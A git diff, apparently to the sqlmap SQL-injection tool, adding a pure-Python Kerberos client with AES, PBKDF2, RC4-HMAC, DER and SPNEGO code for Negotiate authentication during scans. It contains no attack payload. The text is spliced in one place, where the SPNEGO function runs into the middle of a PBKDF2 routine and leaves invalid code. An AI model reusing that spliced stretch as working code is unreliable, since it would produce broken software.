_fromFile("common-columns.txt") or list(_BUNDLED_COLUMNS) diff --git a/extra/kerberos/__init__.py b/extra/kerberos/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/extra/kerberos/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/extra/kerberos/aes.py b/extra/kerberos/aes.py new file mode 100644 index 00000000000..2cce2db762b --- /dev/null +++ b/extra/kerberos/aes.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Dependency-free AES (FIPS-197) block cipher with CBC mode, supporting 128- and 256-bit keys. It is +# the primitive underneath Kerberos' AES-CTS-HMAC-SHA1-96 (RFC 3962) etypes, kept pure-Python so +# '--auth-type=Negotiate' needs no third-party crypto library. Validated against the FIPS-197 +# known-answer vectors. Python 2.7 / 3.x. +# +# The state is a flat list of 16 ints in AES column-major order: byte i holds row (i % 4), column +# (i // 4), i.e. column c occupies positions [4*c : 4*c + 4]. + +def _gmul(a, b): + """Multiplication in GF(2**8) with the AES reduction polynomial 0x11b.""" + + p = 0 + for _ in range(8): + if b & 1: + p ^= a + high = a & 0x80 + a = (a << 1) & 0xff + if high: + a ^= 0x1b + b >>= 1 + return p + +# GF(2**8) log/exp tables (generator 0x03) -> multiplicative inverse -> S-box (affine transform), +# computed rather than transcribed so there is no 256-entry table to get wrong +_EXP = [0] * 256 +_LOG = [0] * 256 +_x = 1 +for _i in range(255): + _EXP[_i] = _x + _LOG[_x] = _i + _x = _gmul(_x, 0x03) + +def _inv(b): + return 0 if b == 0 else _EXP[(255 - _LOG[b]) % 255] + +def _rotl8(b, n): + return ((b << n) | (b >> (8 - n))) & 0xff + +SBOX = [] +for _b in range(256): + _v = _inv(_b) + SBOX.append(_v ^ _rotl8(_v, 1) ^ _rotl8(_v, 2) ^ _rotl8(_v, 3) ^ _rotl8(_v, 4) ^ 0x63) + +INV_SBOX = [0] * 256 +for _b in range(256): + INV_SBOX[SBOX[_b]] = _b + +RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d] + +def _xor(a, b): + if len(a) != len(b): # equal-length by construction; fail loud (not via assert, which -O strips) + raise ValueError("XOR operands differ in length") + return bytes(bytearray(x ^ y for x, y in zip(bytearray(a), bytearray(b)))) + +class AES(object): + """AES-128/256 block cipher (16-byte block) with a minimal CBC mode.""" + + def __init__(self, key): + key = bytearray(key) + if len(key) not in (16, 32): + raise ValueError("AES key must be 16 or 32 bytes") + self.rounds = 10 if len(key) == 16 else 14 + self._roundKeys = self._expand(key) + + def _expand(self, key): + nk = len(key) // 4 + words = [list(key[4 * i:4 * i + 4]) for i in range(nk)] + for i in range(nk, 4 * (self.rounds + 1)): + temp = list(words[i - 1]) + if i % nk == 0: + temp = temp[1:] + temp[:1] # RotWord + temp = [SBOX[b] for b in temp] # SubWord + temp[0] ^= RCON[i // nk - 1] + elif nk > 6 and i % nk == 4: + temp = [SBOX[b] for b in temp] + words.append([words[i - nk][j] ^ temp[j] for j in range(4)]) + + roundKeys = [] + for r in range(self.rounds + 1): + rk = [] + for c in range(4): + rk.extend(words[4 * r + c]) + roundKeys.append(rk) + return roundKeys + + @staticmethod + def _addRoundKey(state, rk): + for i in range(16): + state[i] ^= rk[i] + + @staticmethod + def _shiftRows(s): + out = [0] * 16 + for r in range(4): + for c in range(4): + out[r + 4 * c] = s[r + 4 * ((c + r) % 4)] + return out + + @staticmethod + def _invShiftRows(s): + out = [0] * 16 + for r in range(4): + for c in range(4): + out[r + 4 * c] = s[r + 4 * ((c - r) % 4)] + return out + + @staticmethod + def _mixColumns(s): + out = [0] * 16 + for c in range(4): + col = s[4 * c:4 * c + 4] + out[4 * c + 0] = _gmul(col[0], 2) ^ _gmul(col[1], 3) ^ col[2] ^ col[3] + out[4 * c + 1] = col[0] ^ _gmul(col[1], 2) ^ _gmul(col[2], 3) ^ col[3] + out[4 * c + 2] = col[0] ^ col[1] ^ _gmul(col[2], 2) ^ _gmul(col[3], 3) + out[4 * c + 3] = _gmul(col[0], 3) ^ col[1] ^ col[2] ^ _gmul(col[3], 2) + return out + + @staticmethod + def _invMixColumns(s): + out = [0] * 16 + for c in range(4): + col = s[4 * c:4 * c + 4] + out[4 * c + 0] = _gmul(col[0], 14) ^ _gmul(col[1], 11) ^ _gmul(col[2], 13) ^ _gmul(col[3], 9) + out[4 * c + 1] = _gmul(col[0], 9) ^ _gmul(col[1], 14) ^ _gmul(col[2], 11) ^ _gmul(col[3], 13) + out[4 * c + 2] = _gmul(col[0], 13) ^ _gmul(col[1], 9) ^ _gmul(col[2], 14) ^ _gmul(col[3], 11) + out[4 * c + 3] = _gmul(col[0], 11) ^ _gmul(col[1], 13) ^ _gmul(col[2], 9) ^ _gmul(col[3], 14) + return out + + def encryptBlock(self, block): + state = list(bytearray(block)) + self._addRoundKey(state, self._roundKeys[0]) + for r in range(1, self.rounds): + state = self._mixColumns(self._shiftRows([SBOX[b] for b in state])) + self._addRoundKey(state, self._roundKeys[r]) + state = self._shiftRows([SBOX[b] for b in state]) + self._addRoundKey(state, self._roundKeys[self.rounds]) + return bytes(bytearray(state)) + + def decryptBlock(self, block): + state = list(bytearray(block)) + self._addRoundKey(state, self._roundKeys[self.rounds]) + for r in range(self.rounds - 1, 0, -1): + state = [INV_SBOX[b] for b in self._invShiftRows(state)] + self._addRoundKey(state, self._roundKeys[r]) + state = self._invMixColumns(state) + state = [INV_SBOX[b] for b in self._invShiftRows(state)] + self._addRoundKey(state, self._roundKeys[0]) + return bytes(bytearray(state)) + + def cbcEncrypt(self, iv, data): + if len(data) % 16 != 0: + raise ValueError("CBC input is not block-aligned") + prev, out = iv, [] + for i in range(0, len(data), 16): + prev = self.encryptBlock(_xor(data[i:i + 16], prev)) + out.append(prev) + return b"".join(out) + + def cbcDecrypt(self, iv, data): + if len(data) % 16 != 0: + raise ValueError("CBC input is not block-aligned") + prev, out = iv, [] + for i in range(0, len(data), 16): + block = data[i:i + 16] + out.append(_xor(self.decryptBlock(block), prev)) + prev = block + return b"".join(out) diff --git a/extra/kerberos/client.py b/extra/kerberos/client.py new file mode 100644 index 00000000000..3157fce1ced --- /dev/null +++ b/extra/kerberos/client.py @@ -0,0 +1,411 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Dependency-free Kerberos 5 client (RFC 4120) built on the in-tree DER codec and RFC 3961/3962 +# crypto. Implements the AS exchange (password -> TGT) with PA-ENC-TIMESTAMP pre-authentication; +# the TGS exchange and AP-REQ follow. Talks to the KDC over TCP (4-byte length framing). +# Python 2.7 / 3.x. + +import calendar +import os +import socket +import struct +import threading +import time + +from extra.kerberos import der +from extra.kerberos import spnego +from extra.kerberos.crypto import ENCTYPES + +GSS_CHECKSUM_TYPE = 0x8003 # RFC 4121 section 4.1.1 authenticator checksum +GSS_CHECKSUM_FLAGS = 0 # no GSS context flags requested (no mutual/deleg) +TICKET_LIFETIME_SECONDS = 10 * 3600 # requested 'till' offset (KDC clamps to its max) + +# message types +AS_REQ, AS_REP, TGS_REQ, TGS_REP, AP_REQ, KRB_ERROR = 10, 11, 12, 13, 14, 30 + +# principal name types +NT_PRINCIPAL, NT_SRV_INST = 1, 2 + +# PA-DATA types +PA_TGS_REQ, PA_ENC_TIMESTAMP, PA_ETYPE_INFO2 = 1, 2, 19 + +# KDC error code that carries the PA-ETYPE-INFO2 hint (etype/salt/iteration count) for pre-auth +KDC_ERR_PREAUTH_REQUIRED = 25 + +# key usages (RFC 4120 section 7.5.1) +USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1 +USAGE_AS_REP_ENCPART = 3 +USAGE_TGS_REQ_AUTH_CKSUM = 6 +USAGE_TGS_REQ_AUTH = 7 +USAGE_TGS_REP_ENCPART = 8 +USAGE_AP_REQ_AUTH = 11 + +PVNO = 5 +DEFAULT_ETYPES = (18, 17, 23) # aes256-cts, aes128-cts, rc4-hmac (best first) +KDC_TIMEOUT = 10 # seconds for the KDC TCP exchange +MAX_KDC_RESPONSE = 8 * 1024 * 1024 # cap on a KDC reply (guards a hostile length prefix) +KERBEROS_TIME_FORMAT = "%Y%m%d%H%M%SZ" # RFC 4120 KerberosTime (always UTC) + +# Bounds on the string-to-key work factor a KDC may ask for. The PA-ETYPE-INFO2 hint carrying it +# arrives on an *unauthenticated* KRB-ERROR, and the field is a full 32 bits, so an absurd value would +# either weaken the derived key against offline guessing or burn hours of CPU (RFC 3962 warns about +# both and recommends configurable bounds). A count of 0 nominally means 2**32, which we cannot honour. +MIN_PBKDF2_ITERATIONS = 4096 # the RFC 3962 default; nothing legitimate is lower +MAX_PBKDF2_ITERATIONS = 1000000 + +def _enctype(etype): + if etype not in ENCTYPES: + raise KerberosError(-1, "unsupported encryption type %d (only AES-CTS-HMAC-SHA1 is implemented)" % etype) + return ENCTYPES[etype] + +class KerberosError(Exception): + def __init__(self, code, text=None): + Exception.__init__(self, "KDC error %d%s" % (code, ": %s" % text if text else "")) + self.code = code + +# ---- EXPLICIT-tag unwrap helpers ------------------------------------------------------------------ +# Kerberos uses EXPLICIT tagging: an [n] field's content is a complete inner TLV, so it must be +# peeled before the value can be read. _fields() maps a SEQUENCE's [n] children to that inner TLV. +def _fields(sequenceContent): + out = {} + for tag, inner in der.children(sequenceContent): + if 0xA0 <= tag <= 0xBE: # context-specific, constructed [0]..[30] + out[tag - 0xA0] = inner + return out + +def _expInteger(field): + return der.decodeInteger(der.peel(field)[1]) + +def _expString(field): + return der.decodeGeneralString(der.peel(field)[1]) + +def _expOctet(field): + return bytes(der.peel(field)[1]) + +def _expFields(field): + """For an [n] field whose inner TLV is a SEQUENCE, return that SEQUENCE's field map.""" + + return _fields(der.peel(field)[1]) + +# ---- message building ----------------------------------------------------------------------------- +def _nonce(): + return struct.unpack(">I", os.urandom(4))[0] & 0x7fffffff + +def _kerberosTime(offsetSeconds=0): + return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(time.time() + offsetSeconds)) + +_timestampLock = threading.Lock() +_lastMicros = -1 + +def _timestamp(): + """(KerberosTime, microseconds) taken from a single clock reading and unique within the process. + + An acceptor's replay cache rejects a repeated (ctime, cusec) for the same principal and service, + and a threaded scan mints an authenticator per request, so the pair must never repeat; a strictly + increasing microsecond counter also keeps cusec inside its INTEGER (0..999999) range by construction. + """ + + global _lastMicros + + with _timestampLock: + micros = max(int(time.time() * 1000000), _lastMicros + 1) + _lastMicros = micros + return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(micros // 1000000)), micros % 1000000 + +def _expTime(field): + """An [n]-wrapped KerberosTime as epoch seconds (None when absent or unparsable, so an unusual + time format degrades ticket-expiry tracking rather than failing the exchange).""" + + try: + return calendar.timegm(time.strptime(der.decodeGeneralString(der.peel(field)[1]), KERBEROS_TIME_FORMAT)) + except ValueError: + return None + +def _principalName(nameType, components): + return der.sequence( + der.tagged(0, der.integer(nameType)), + der.tagged(1, der.sequenceOf([der.generalString(_) for _ in components])), + ) + +def _encryptedData(etype, cipher, kvno=None): + parts = [der.tagged(0, der.integer(etype))] + if kvno is not None: + parts.append(der.tagged(1, der.integer(kvno))) + parts.append(der.tagged(2, der.octetString(cipher))) + return der.sequence(*parts) + +# ---- KDC transport (RFC 4120 section 7.2.2: 4-byte length-prefixed over TCP) ---------------------- +def _recvExactly(sock, count): + buf = b"" + while len(buf) < count: + chunk = sock.recv(count - len(buf)) + if not chunk: + raise KerberosError(-1, "connection closed by KDC") + buf += chunk + return buf + +def _sendReceive(host, port, request): + sock = socket.create_connection((host, port), timeout=KDC_TIMEOUT) + try: + sock.sendall(struct.pack(">I", len(request)) + request) + length = struct.unpack(">I", _recvExactly(sock, 4))[0] + if length > MAX_KDC_RESPONSE: + raise KerberosError(-1, "KDC reply length %d exceeds the sane maximum" % length) + return _recvExactly(sock, length) + finally: + sock.close() + +def _raiseIfError(message): + tag, content, _ = der.peel(message) + if tag == der.applicationTag(KRB_ERROR): + fields = _fields(der.peel(content)[1]) + raise KerberosError(_expInteger(fields[6]) if 6 in fields else -1, + _expString(fields[11]) if 11 in fields else None) + return tag, content + +def _etypeHints(methodData): + """Parse a METHOD-DATA TLV (SEQUENCE OF PA-DATA) into PA-ETYPE-INFO2 hints as + {etype: (salt, iterations)}, telling us which etype/salt/s2kparams the KDC expects for the + long-term key. The first entry for an etype wins; a malformed hint yields none (so the caller + falls back to its defaults) rather than raising.""" + + hints = {} + try: + for _, paData in der.children(der.peel(methodData)[1]): + pa = _fields(paData) + if 1 in pa and 2 in pa and _expInteger(pa[1]) == PA_ETYPE_INFO2: + info = der.peel(pa[2])[1] # padata-value OCTET STRING -> ETYPE-INFO2 (SEQ OF entry) + for _, entry in der.children(der.peel(info)[1]): + fields = _fields(entry) + salt = _expOctet(fields[1]) if 1 in fields else None # opaque octets for string2key (RFC 3961), not UTF-8 + iterations = None + if 2 in fields: + raw = bytes(der.peel(fields[2])[1]) # s2kparams: 4-byte BE iteration count for AES + iterations = struct.unpack(">I", raw)[0] if len(raw) == 4 else None + hints.setdefault(_expInteger(fields[0]), (salt, iterations)) + except (KeyError, IndexError, ValueError, struct.error): + hints.clear() # malformed hint -> fall back to the default etype/salt + return hints + +def _preauthHints(errorFields): + """The etype hints carried by a KDC_ERR_PREAUTH_REQUIRED error's e-data (best effort).""" + + if 12 not in errorFields: # no e-data + return {} + try: + return _etypeHints(der.peel(errorFields[12])[1]) # e-data OCTET STRING -> METHOD-DATA + except (KeyError, IndexError, ValueError, struct.error): + return {} + +def _validatedIterations(iterations): + """Refuse a string-to-key work factor outside local policy. The hint is unauthenticated, so a + spoofed count could either cheapen an offline attack on the PA-ENC-TIMESTAMP we are about to send + or stall the scan for hours; failing loudly beats doing either silently.""" + + if iterations is not None and not MIN_PBKDF2_ITERATIONS <= iterations <= MAX_PBKDF2_ITERATIONS: + raise KerberosError(-1, "KDC advertised an out-of-policy string-to-key iteration count (%d)" % iterations) + return iterations + +def _hintFor(hints, etype, salt, chosenSalt): + """Apply the hint for 'etype': its salt (unless the caller pinned one) and its work factor.""" + + advertisedSalt, iterations = hints.get(etype, (None, None)) + if salt is None and advertisedSalt is not None: + chosenSalt = advertisedSalt + return chosenSalt, _validatedIterations(iterations) + +def _replyEtype(response): + """Return the etype of a KDC-REP's enc-part (which etype the KDC used for the client's key).""" + + try: + rep = _fields(der.peel(der.peel(response)[1])[1]) + return _expInteger(_expFields(rep[6])[0]) + except (KeyError, IndexError, ValueError, struct.error): + raise KerberosError(-1, "malformed KDC reply") + +def _parseRep(response, key, usage, expectedNonce, expectedType): + """Parse an AS-REP / TGS-REP: decrypt its enc-part with 'key' under 'usage', returning the + opaque ticket and the freshly issued session key. The two replies are structurally identical. + The reply's application tag MUST match the expected message type, and the nonce carried in the + (integrity-protected) enc-part MUST equal the request nonce (RFC 4120).""" + + try: # any structural defect in a hostile/truncated reply -> KerberosError + tag, repContent = _raiseIfError(response) + if tag != der.applicationTag(expectedType): + raise KerberosError(-1, "unexpected reply message type (tag 0x%02x)" % tag) + rep = _fields(der.peel(repContent)[1]) + encData = _expFields(rep[6]) # enc-part (EncryptedData) + repEtype = _expInteger(encData[0]) + try: + encRepPart = _enctype(repEtype).decrypt(key, usage, _expOctet(encData[2])) + except ValueError: # HMAC mismatch -> we hold the wrong long-term key + raise KerberosError(-1, "reply decryption failed (wrong password or salt)") + + # Enc*RepPart = [APPLICATION 25/26] EncKDCRepPart ; key is field [0], nonce is field [2] + encKdcRep = _fields(der.peel(der.peel(encRepPart)[1])[1]) + if _expInteger(encKdcRep[2]) != expectedNonce: + raise KerberosError(-1, "reply nonce does not match the request (possible replay)") + keyFields = _expFields(encKdcRep[0]) + + return { + "ticket": bytes(rep[5]), + "sessionKey": _expOctet(keyFields[1]), + "sessionKeyType": _expInteger(keyFields[0]), + "etype": repEtype, + "crealm": _expString(rep[3]), + # EncKDCRepPart endtime [7]; a scan can outlive the ticket, so the caller can re-fetch + "endtime": _expTime(encKdcRep[7]) if 7 in encKdcRep else None, + } + except (KeyError, IndexError, ValueError, struct.error): + raise KerberosError(-1, "malformed KDC reply") + +def _reqBody(realm, snameType, snameComponents, etypes, nonce, cnameComponents=None): + parts = [der.tagged(0, der.bitString(b"\x00\x00\x00\x00"))] # kdc-options + if cnameComponents is not None: + parts.append(der.tagged(1, _principalName(NT_PRINCIPAL, cnameComponents))) # cname (AS only) + parts.append(der.tagged(2, der.generalString(realm))) # realm + parts.append(der.tagged(3, _principalName(snameType, snameComponents))) # sname + parts.append(der.tagged(5, der.generalizedTime(_kerberosTime(offsetSeconds=TICKET_LIFETIME_SECONDS)))) # till + parts.append(der.tagged(7, der.integer(nonce))) # nonce + parts.append(der.tagged(8, der.sequenceOf([der.integer(_) for _ in etypes]))) # etype + return der.sequence(*parts) + +def _authenticator(crealm, cnameComponents, cksum=None, seqNumber=None): + ctime, cusec = _timestamp() # both from one clock reading, never repeating + parts = [ + der.tagged(0, der.integer(PVNO)), + der.tagged(1, der.generalString(crealm)), + der.tagged(2, _principalName(NT_PRINCIPAL, cnameComponents)), + ] + if cksum is not None: + parts.append(der.tagged(3, der.sequence(der.tagged(0, der.integer(cksum[0])), + der.tagged(1, der.octetString(cksum[1]))))) + parts.append(der.tagged(4, der.integer(cusec))) + parts.append(der.tagged(5, der.generalizedTime(ctime))) + if seqNumber is not None: # [7] seq-number, expected of a GSS AP-REQ + parts.append(der.tagged(7, der.integer(seqNumber))) + return der.application(2, der.sequence(*parts)) + +def _apReq(ticket, encAuthenticator, etype, apOptions=b"\x00\x00\x00\x00"): + return der.application(AP_REQ, der.sequence( + der.tagged(0, der.integer(PVNO)), + der.tagged(1, der.integer(AP_REQ)), + der.tagged(2, der.bitString(apOptions)), + der.tagged(3, ticket), # raw Ticket TLV (already [APPLICATION 1]) + der.tagged(4, _encryptedData(etype, encAuthenticator)), + )) + +# ---- AS exchange (password -> TGT) ---------------------------------------------------------------- +def _asReq(realm, username, etypes, nonce, padata=None): + reqBody = _reqBody(realm, NT_SRV_INST, ["krbtgt", realm], etypes, nonce, cnameComponents=[username]) + parts = [der.tagged(1, der.integer(PVNO)), der.tagged(2, der.integer(AS_REQ))] + if padata is not None: + parts.append(der.tagged(3, der.sequenceOf([padata]))) + parts.append(der.tagged(4, reqBody)) + return der.application(AS_REQ, der.sequence(*parts)) + +def _selectEtype(etypes, hints): + """ + The etype getTGT commits to after a preauth-required hint: OUR first offered etype that is also + KDC-hinted and supported, falling back to our top preference. The unauthenticated hint can only + reorder WITHIN what we offered - it can never pull us onto an etype we did not offer (anti-downgrade). + """ + + return next((_ for _ in etypes if _ in hints and _ in ENCTYPES), etypes[0]) + +def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES, salt=None): + """Run the AS exchange and return the TGT and its session key. + + Follows the standard two-step flow: an initial request without pre-auth learns the KDC's expected + etype/salt/iteration-count from PA-ETYPE-INFO2 (so non-default salts and AES-128-only principals + work), then a PA-ENC-TIMESTAMP-authenticated request obtains the ticket. Returns + {'ticket': , 'sessionKey': bytes, 'sessionKeyType': int, 'crealm': str, + 'endtime': epoch seconds}. 'realm' is used exactly as given (RFC 4120 realms are case-sensitive). + """ + + chosenSalt = salt if salt is not None else realm + username + + # 1) probe without pre-auth to discover the etype/salt/iterations (or get the TGT outright) + nonce = _nonce() + response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce)) + tag = der.peel(response)[0] + + if tag == der.applicationTag(AS_REP): # KDC issued the ticket without pre-auth + etype = _replyEtype(response) # derive the key for the etype the KDC actually used + rep = _fields(der.peel(der.peel(response)[1])[1]) + # the reply's own padata can still carry the salt/iterations of a non-default principal + chosenSalt, iterations = _hintFor(_etypeHints(rep[2]) if 2 in rep else {}, etype, salt, chosenSalt) + clientKey = _enctype(etype).string2key(password, chosenSalt, iterations) + return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP) + + etype, iterations = etypes[0], None + if tag == der.applicationTag(KRB_ERROR): + errorFields = _fields(der.peel(der.peel(response)[1])[1]) + code = _expInteger(errorFields[6]) if 6 in errorFields else -1 + if code != KDC_ERR_PREAUTH_REQUIRED: + raise KerberosError(code, _expString(errorFields[11]) if 11 in errorFields else None) + # the hint is unauthenticated, so it may only choose among the etypes we actually offered, and + # in *our* order of preference rather than the KDC's (otherwise it could force a downgrade) + hints = _preauthHints(errorFields) + etype = _selectEtype(etypes, hints) + chosenSalt, iterations = _hintFor(hints, etype, salt, chosenSalt) + + enc = _enctype(etype) + clientKey = enc.string2key(password, chosenSalt, iterations) + + # 2) authenticated request with PA-ENC-TIMESTAMP under the discovered etype/salt + patime, pausec = _timestamp() + paTsEnc = der.sequence(der.tagged(0, der.generalizedTime(patime)), der.tagged(1, der.integer(pausec))) + cipher = enc.encrypt(clientKey, USAGE_AS_REQ_PA_ENC_TIMESTAMP, paTsEnc) + paData = der.sequence( + der.tagged(1, der.integer(PA_ENC_TIMESTAMP)), + der.tagged(2, der.octetString(_encryptedData(etype, cipher))), + ) + nonce = _nonce() + response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce, padata=paData)) + return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP) + +# ---- TGS exchange (TGT -> service ticket) --------------------------------------------------------- +def getServiceTicket(tgt, realm, username, serviceComponents, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES): + """Present the TGT in a PA-TGS-REQ AP-REQ to obtain a ticket for the named service. + + Returns the same shape as getTGT (the 'ticket' is now the service ticket). Cross-realm referrals + are not followed, so 'serviceComponents' must name a service inside 'realm'. + """ + + enc = _enctype(tgt["sessionKeyType"]) + nonce = _nonce() + reqBody = _reqBody(realm, NT_SRV_INST, serviceComponents, etypes, nonce) + + cksum = (enc.cksumtype, enc.checksum(tgt["sessionKey"], USAGE_TGS_REQ_AUTH_CKSUM, reqBody)) + authenticator = _authenticator(realm, [username], cksum=cksum) + encAuth = enc.encrypt(tgt["sessionKey"], USAGE_TGS_REQ_AUTH, authenticator) + apReq = _apReq(tgt["ticket"], encAuth, tgt["sessionKeyType"]) + + paTgs = der.sequence(der.tagged(1, der.integer(PA_TGS_REQ)), der.tagged(2, der.octetString(apReq))) + tgsReq = der.application(TGS_REQ, der.sequence( + der.tagged(1, der.integer(PVNO)), + der.tagged(2, der.integer(TGS_REQ)), + der.tagged(3, der.sequenceOf([paTgs])), + der.tagged(4, reqBody), + )) + + return _parseRep(_sendReceive(kdcHost, kdcPort, tgsReq), tgt["sessionKey"], USAGE_TGS_REP_ENCPART, nonce, TGS_REP) + +# ---- SPNEGO "Negotiate" token (cached service ticket -> ready-to-send HTTP token) ----------------- +def spnegoFromTicket(service, realm, username): + """Build a fresh SPNEGO token from an already-obtained service ticket (no KDC round-trip). Each + call produces a new AP-REQ authenticator, as replay caches require, so a cached ticket can back + every request of a scan cheaply.""" + + enc = _enctype(service["sessionKeyType"]) + gssChecksum = (GSS_CHECKSUM_TYPE, struct.pack("I", block), hashlib.sha1).digest() + acc = bytearray(u) + for _ in range(iterations - 1): + u = hmac.new(password, u, hashlib.sha1).digest() + acc = bytearray(x ^ y for x, y in zip(acc, bytearray(u))) + out += acc + block += 1 + return bytes(out[:dklen]) + +def _rotate_right(data, nbits): + """Rotate a byte string right by 'nbits' bits, preserving its length.""" + + data = bytearray(data) + if not data: + return data + total = len(data) * 8 + nbits %= total + value = ((_b2i(data) >> nbits) | (_b2i(data) << (total - nbits))) & ((1 << total) - 1) + return _i2b(value, len(data)) + +def nfold(data, nbytes): + """RFC 3961 n-fold: spread 'data' over 'nbytes' bytes via 13-bit rotated copies summed with an + end-around carry (ones-complement addition).""" + + data = bytearray(data) + + def gcd(a, b): + while b: + a, b = b, a % b + return a + + lcm = len(data) * nbytes // gcd(len(data), nbytes) + + buf = bytearray() + rotation = 0 + while len(buf) < lcm: + buf += _rotate_right(data, rotation) + rotation += 13 + + bits = 8 * nbytes + mask = (1 << bits) - 1 + acc = sum(_b2i(buf[off:off + nbytes]) for off in range(0, lcm, nbytes)) + while acc > mask: + acc = (acc & mask) + (acc >> bits) + return bytes(_i2b(acc, nbytes)) + +class AESEnctype(object): + """AES-CTS-HMAC-SHA1-96 simplified-profile enctype (RFC 3962). keysize 16 => etype 17, 32 => 18.""" + + blocksize = 16 + macsize = 12 + + def __init__(self, keysize): + self.keysize = keysize + self.cksumtype = 16 if keysize == 32 else 15 # hmac-sha1-96-aes256 / -aes128 + + def checksum(self, key, usage, data): + """Keyed checksum (RFC 3961 get_mic): HMAC-SHA1-96 under the checksum key DK(key, usage|0x99).""" + + kc = self.dk(key, struct.pack(">IB", usage, 0x99)) + return hmac.new(kc, data, hashlib.sha1).digest()[:self.macsize] + + # --- key schedule ------------------------------------------------------------------------------- + def _dr(self, key, constant): + """RFC 3961 DR: iterate the single-block cipher over the (n-folded) constant to seedsize.""" + + aes = AES(key) + block = nfold(constant, self.blocksize) + out = bytearray() + while len(out) < self.keysize: + block = aes.encryptBlock(block) # single 16-byte block => CBC(iv=0) == ECB + out += bytearray(block) + return bytes(out[:self.keysize]) + + @cachedmethod + def dk(self, key, constant): + """RFC 3961 DK = random-to-key(DR(...)); random-to-key is the identity for AES. + + Cached: it is a pure function of (key, constant), while a scan mints an authenticator per + request from the same handful of long-lived keys, so the pure-Python DR would otherwise be + recomputed for every single one.""" + + return self._dr(key, constant) + + def string2key(self, password, salt, iterations=None): + """RFC 3962 string-to-key: DK(PBKDF2-HMAC-SHA1(password, salt), "kerberos").""" + + iterations = iterations or DEFAULT_PBKDF2_ITERATIONS + tkey = _pbkdf2(_to_bytes(password), _to_bytes(salt), iterations, self.keysize) + return self.dk(tkey, b"kerberos") + + # --- CBC ciphertext stealing (RFC 3962, CS3: always swap the final two blocks) ------------------ + def _basicEncrypt(self, key, data): + aes = AES(key) + padded = data + b"\x00" * ((-len(data)) % self.blocksize) + ct = aes.cbcEncrypt(b"\x00" * self.blocksize, padded) + if len(data) > self.blocksize: + lastlen = len(data) % self.blocksize or self.blocksize + ct = ct[:-2 * self.blocksize] + ct[-self.blocksize:] + ct[-2 * self.blocksize:-self.blocksize][:lastlen] + return ct + + def _basicDecrypt(self, key, data): + aes = AES(key) + if len(data) == self.blocksize: + return aes.decryptBlock(data) + + blocks = [bytearray(data[p:p + self.blocksize]) for p in range(0, len(data), self.blocksize)] + lastlen = len(blocks[-1]) + prev = bytearray(self.blocksize) + out = bytearray() + for block in blocks[:-2]: + out += bytearray(_xor(aes.decryptBlock(bytes(block)), prev)) + prev = block + + decrypted = bytearray(aes.decryptBlock(bytes(blocks[-2]))) + lastPlain = _xor(decrypted[:lastlen], blocks[-1]) + omitted = decrypted[lastlen:] + secondLast = _xor(aes.decryptBlock(bytes(blocks[-1] + omitted)), prev) + return bytes(out) + secondLast + lastPlain + + # --- authenticated encryption (RFC 3961 section 5.3) -------------------------------------------- + def _keys(self, key, usage): + ke = self.dk(key, struct.pack(">IB", usage, 0xAA)) + ki = self.dk(key, struct.pack(">IB", usage, 0x55)) + return ke, ki + + def encrypt(self, key, usage, plaintext, confounder=None): + ke, ki = self._keys(key, usage) + if confounder is None: + confounder = os.urandom(self.blocksize) + basic = confounder + plaintext + return self._basicEncrypt(ke, basic) + hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize] + + def decrypt(self, key, usage, ciphertext): + if len(ciphertext) < self.blocksize + self.macsize: # confounder block + HMAC; guards a hostile short reply + raise ValueError("Kerberos ciphertext too short") + ke, ki = self._keys(key, usage) + ct, mac = ciphertext[:-self.macsize], ciphertext[-self.macsize:] + basic = self._basicDecrypt(ke, ct) + if not _eq(mac, hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize]): + raise ValueError("Kerberos integrity check failed (wrong key or corrupted ciphertext)") + return basic[self.blocksize:] + +def _rc4(key, data): + """RC4 (ARCFOUR) stream cipher.""" + + key, data = bytearray(key), bytearray(data) + if not key: + raise ValueError("RC4 requires a non-empty key") + s = list(range(256)) + j = 0 + for i in range(256): + j = (j + s[i] + key[i % len(key)]) & 0xff + s[i], s[j] = s[j], s[i] + + out = bytearray(len(data)) + i = j = 0 + for n in range(len(data)): + i = (i + 1) & 0xff + j = (j + s[i]) & 0xff + s[i], s[j] = s[j], s[i] + out[n] = data[n] ^ s[(s[i] + s[j]) & 0xff] + return bytes(out) + +class RC4Enctype(object): + """rc4-hmac (etype 23, RFC 4757). The long-term key is the NT hash MD4(UTF-16LE(password)); the + salt and iteration count are unused. Legacy, but still enabled in many AD environments.""" + + keysize = 16 + cksumtype = -138 # hmac-md5 + + def string2key(self, password, salt=None, iterations=None): + # the password is text; encode it UTF-16LE (in py2 a str is bytes, so decode to text first) + if isinstance(password, bytes): + password = password.decode("utf-8") + return _md4(password.encode("utf-16-le")) + + @staticmethod + def _usage(usage): + # RFC 4757 section 3: a couple of Kerberos usages map to Microsoft-specific values (per the + # published errata, usage 9 is NOT folded into 8 - only 3->8 and 23->13 apply) + return struct.pack(" enctype implementation +ENCTYPES = { + 17: AESEnctype(16), + 18: AESEnctype(32), + 23: RC4Enctype(), +} diff --git a/extra/kerberos/der.py b/extra/kerberos/der.py new file mode 100644 index 00000000000..650c78fb799 --- /dev/null +++ b/extra/kerberos/der.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) 